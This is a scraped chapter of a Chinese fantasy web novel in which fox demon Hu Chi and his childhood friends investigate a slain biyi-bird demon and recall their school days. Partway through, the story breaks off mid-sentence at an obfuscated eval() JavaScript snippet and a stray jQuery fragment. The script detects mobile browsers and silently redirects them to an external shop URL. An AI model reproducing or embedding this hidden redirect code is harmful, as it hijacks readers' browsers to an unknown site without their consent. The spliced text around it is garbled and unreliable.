文趣网 > 其他小说 > 竹马你心碎了 > 15. 小狐狸与小人儿
    “是方才第一试时的另一只松鼠妖?”钟沐晴问。它含泪点头。

    “发生何事?”狐炽靠过来问。

    松鼠妖哽咽道:“那……那只比翼鸟把阿姐抓了,说,如果钟小姐不去见他,他就把我阿姐杀了。”说完,它期期哀求的眼神看着钟沐晴。

    钟沐晴皱眉想了片刻,正要开口同意,狐炽阻止道:“不可,你不能去。显然就是冲着你体内的宝物来的。”

    “可它阿姐……”

    “我去。”狐炽打断钟沐晴的话道,一手握过松鼠妖。

    “什么宝物?”柏杨好奇地问。狐炽看向钟沐晴,她点了点头。

    “那我也去!”柏杨起身,临走前朝钟沐晴点了点头。

    池肃定睛看着两人离开,手腕突然被一旁的力道拽了拽,他低头看去,“你说,狐炽为什么突然来书院?他先前为何要杀你但今日却又不杀你?他还几次三番地帮我。”钟沐晴紧锁眉头地问。

    池肃顺着她的力道,坐在她身侧,一手来回摩挲被握过的手腕,低声道:“池府灭门大战那日,狐炽的爹娘也死了。”

    钟沐晴感受到来自池肃的一丝低落,震惊于这个噩耗,“为何狐大人和狐夫人也在?”她追问。

    池肃摇了摇头:“不知,起初我躲在房里,等我开门时,已经倒下许多人。我不知道狐大人是来帮我们的,还是来夺心块的。阿父阿母死后,那些人便冲我来,乱,那时极乱。”

    钟沐晴觉着有大石压在胸口,沉重得难以呼吸,这悲伤有她的,也有池肃的。他面上冷静自持,心里却乱如麻又哀愁。

    池肃抬眸看向钟沐晴的脸,继续道:“我匆匆瞥过一眼,狐大人身上……”他犹豫地顿了顿。

    “狐大人怎么了?”钟沐晴提起一口气,紧张地等待接下来的话。

    “狐大人身上被定坤剑刺过,刺在胸口。可……可是阿父怎么会杀狐大人呢?”压在心底两年,不愿回想的画面,池肃终于说了出口。

    狐大人与阿父向来交好融洽,也是因这交情,狐大人才将狐炽送来私塾。他不愿相信狐大人会害阿父,更不愿相信阿父会伤狐大人。

    钟沐晴低头思忖片刻,柔声道:“你方才也说了,那日极乱,眼见不一定为实。定坤剑刺穿了狐大人的胸口,狐炽肯定也知道。或许他杀你,是为了报仇。”

    “嗯。”池肃低着头。

    钟沐晴俯身,追着池肃的双眼,看过去:“我们现在不光是报仇。如果池世伯没有杀狐大人,我们更要还世伯清白。”

    斋舍外,狐炽和柏杨跟着前头一会儿左窜,一会儿右跳的松鼠妖,往密林走去。

    “听说前日你和池肃他们打起来了,今日怎么又帮他们了?”柏杨问道。

    狐炽说:“我帮的是钟沐晴。”除了义父交代调查心块入钟沐晴体内这缘由外,他本就乐意帮她。

    回想五岁初入私塾,他并不懂如何与人交往,毕竟他是被妖带大的。他也见过无数长得五花八门的妖,叩自家大门找他爹评理,完事了总会低头夸他长得好看、乖巧可爱,便走了。

    在私塾是他第一次见和自己差不多高的小人儿,真正的人,而不是化成人形的人,一屋子的小人儿。他知道自己与他人不同,只要不多说话,就没人会发现自己不一样。

    作为妖,他的耳朵比人的灵敏得多。尽管不言语,私塾里的事他一件没少听。钟家小姐最欢脱不受管教,池家公子次次榜首,还有和所有人都能说好多话的柏杨。这种不费力气便知私塾“天下事”的日子别有一番乐趣。

    可这样的平静,被闯进来的钟沐晴打破了。那日她找来对他说:“一会儿下学,一起捉迷藏吗?”他吃惊地盯着眼前头上两个总角,双颊藕粉的小人儿看。见他呆愣无话,钟沐晴接着说:“不说话就当你答应啦。”干脆地转身走了。

    那是他玩过最好玩的捉迷藏,他靠着灵敏的鼻子和耳朵,在一众伙伴里总能最快找出所有人。钟沐晴睁着亮晶晶的眼看他,满是崇拜地说:“你怎么发现的?怎么这么厉害!”她抓着自己的手臂,甜糯的声音问:“你能教教我吗?”

    许是被这高兴冲昏了头,他的狐狸尾巴漏了出来。一大团赤色的茸毛,从他后背的衣摆翘出。他的尾巴止不住地左右摇摆,微微轻颤。

    “这是什么?”一个小同窗惊声问。

    狐炽转身,看见自己的尾巴也是一愣。他环顾周围小同窗们诧异的神情,无措起来。心慌更让他失了分寸,茸毛耳朵也从头上冒了出来。

    “啊啊啊!妖怪!”

    “妖怪!”

    “他是妖怪!”

    小同窗们惊得四下窜开,只留下几个胆大的,睁着铜铃般的眼睛,好奇地端详他。

    狐炽一手胡乱地抱着尾巴,一手来回在左右耳上,使劲往脑袋里摁。霎时间,怎么也变不回去,他眼里急出了泪。

    可那钟沐晴竟争着无辜的大眼睛,小心翼翼地凑了上来,语气恳切的问:“我能摸摸吗?”眼前的小小姐甜糯的嗓音从耳朵直往心尖钻。

    狐炽慌乱的动作停了下来,不可置信地看着她,她居然没把自己当成异类。

    见狐炽没说话,钟沐晴又说:“我只摸一下。”

    他拒绝不了她无害的眼神,他知道她没有恶意,他抱着自己的尾巴往前伸。钟沐晴顿时眉开眼笑,伸出自己的小圆手轻轻摸他的毛。

    狐炽很喜欢钟沐晴的抚摸,他不自知地卷了卷尾巴,大茸毛将钟沐晴短小的手臂团抱着,尾巴尖在她的掌心挠了挠。

    钟沐晴惊喜地揉了揉,正想把脸凑上去,一旁的柏杨打断道:“好了,别摸了。”

    钟沐晴和狐炽不解地看向他。

    “给我也摸摸。”柏杨咧嘴嘻嘻地道。

    “等会儿。”钟沐晴舍不得撒手。“好了吗?”柏杨又问。“再等会儿。”钟沐晴极不愿,把她的脸埋进茸毛里。

    池肃也凑了上来,默默站在柏杨身后。

    狐炽见状,心里惊道:“排队?排队摸我!”

    那日下午,三个小人儿围着狐炽,揉他的耳朵,抱他的尾巴。他有些得意地又变出自己的爪子,引得三人惊呼。

    “所以你是小狗吗?”柏杨问。

    “小狗尾巴不这样。”钟沐晴紧接着回道。

    “狐狸?”池肃猜。

    狐炽点了点头,“狐狸,我叫狐炽。”

    是钟沐晴打破了他一贯的平静,将他拉入小同窗们的欢乐中。

    思绪回到书院中轴线的石板道上,柏杨说道:“你是应该帮她,她打小就对你仗义!”狐炽看了看柏杨,没说话,继续往前走着。

    柏杨接着道:“你知道吗?你刚进池府私塾没多久,让大家知道你是狐妖那会儿,有日下学你被私塾里的几个狗崽子欺负了,我们都不知道。还是第二日,路过看见的同窗告诉我们的。”

    “你们不知道?可钟府的马车路过了。”狐炽皱眉问。

    “钟沐晴那日不在车里,她爹娘行商去了,在池府留宿几日。”柏杨道。狐炽神情错愕,这才知道,钟沐晴那时并不知情。

    “我们知道你被欺负后,私下帮你教训了他们。你没发现,后来他们不敢对你怎么样吗?有我们在呢!”柏杨刻意勾起狐炽往日与他们交好的记忆,不希望狐炽再与池肃动干戈。

    狐炽回想起,自那以后欺辱他的同窗确实不敢动作,只敢私下议论自己。他心里因误会而自顾自与钟沐晴生出的小嫌隙,终在此刻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846983|211758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    填上了。

    密林深处,竹与松茂密丛生,灌木杂草漫长过膝,柏杨用剑柄拨开寻道而行,不时惊飞一些鸟鹭。

    忽而前方密竹遮挡处,传来沙哑的“噶噶”声响,松鼠妖边飞奔边喊:“不好!”

    枝叶繁茂遮天,整个密林都笼罩在青暗里。往前赶去,不远处却缺了一个洞,阳光直直照下。这“洞”是巨大的比翼鸟妖从天而降生生压出来的,此时半赤半青的巨物无声无息地躺在这天光下。

    柏杨走近了细看,道:“死不瞑目,有几道刃器留下的致命伤,断下的一翅伤口平整,应该是用相同的刃器砍断了。杀它的人很干脆。不过你看,它身旁化为灰烬的是什么?烈火?”

    狐炽认出来是义父的破釜斩所为,没有多语,只对柏杨摇了摇头。

    松鼠妖急急地在鸟妖尸体上来回窜跳,翻找细嗅,找不到它的阿姐又急急地跳回来拽着狐炽的衣摆道:“阿姐哪去了?你帮我找找罢,求求大侠!”

    不远处的松枝头上,一阵吱吱响,抬头望去,松鼠妖的阿姐从树上跳了下来,“阿妹,我在这儿!”“阿姐!你没死太好了。”两只松鼠妖凑近了不停在对方身上嗅。

    “谁干的,你知道吗?”柏杨问阿姐。

    “不知道,那人身着黑衣斗篷,看不清脸。他们打起来后,我撒腿就跑了,哪敢细看呐。不过这比翼鸟妖很奇怪。”阿姐说。

    “怎么怪?”柏杨追问。

    狐炽接话道:“比翼鸟本应独目、独翅,与另一半比翼方能飞,因而才如旁人所见的半青半赤。但这只比翼鸟……。”

    “独目,却有双翅!”柏杨抢先道。狐炽点头。

    “比翼鸟族这两年来好生奇怪。传闻,他们修炼了起死回生的邪术。”阿姐低声道。

    “起死回生?”柏杨皱眉问。

    阿姐接着说:“两年前比翼鸟族的王后病死了,可不知为何又活了。大伙都说他们炼了邪术。”

    松鼠妖既已无碍,柏杨和狐炽两人对视点了点头,朝对岸回去,“先把消息告诉钟沐晴,从长计议吧。”柏杨说道。

    中舍正课歇,学子们三三两两地论学或廊下站站。

    他们四人围坐一起,低声讨论。柏杨摊开掌心道:“你们看看这个,比翼鸟尸体旁的灰烬。”

    池肃捏起摩挲,又闻了闻道:“太初真火。”

    “又是太初真火!前日密室下的暗道密室,也是太初真火。除了你,到底还有谁能用?”钟沐晴皱眉道。

    一旁的狐炽沉默不语。

    柏杨继续转述比翼鸟的消息,听闻后钟沐晴道:“第一试时,癫狂的比翼鸟就冲着我体内的心块来,再加上松鼠说的起死回生术,我猜他们族里有心块的下落。至少,他们肯定知道心块能做什么。”

    “什么心块?那是什么?”柏杨问道。“回头和你解释。”钟沐晴回应。

    “得去一趟比翼鸟族部落。”池肃道。

    钟沐晴应声道:“正合我意,等我命人调查一番,我们计议过后便启程。”池肃点头。

    廊下的学子快步走回斋舍,夫子缓步进来坐在案前。讲学间,池肃看向侧前方昏沉睡去的钟沐晴,他眼里满是心疼,心想:“黑蛟难缠,应是精疲力尽了。”

    是夜,狐炽会见义父,转告今日之情形,道:“他们打算去比翼鸟族查探,要阻止吗?”

    黑衣斗篷说道:“我把比翼鸟妖杀了,就是想他们往部落探。我倒要看看,这钟沐晴是不是可以再清浊一块心脏。若她真有这本事,你就用你们狐族的魅惑术,将她收做我们的人。”

    “如果魅惑术不管用……。”狐炽问道。

    “那这人便不可留,尽早除掉。”黑衣斗篷狠戾道。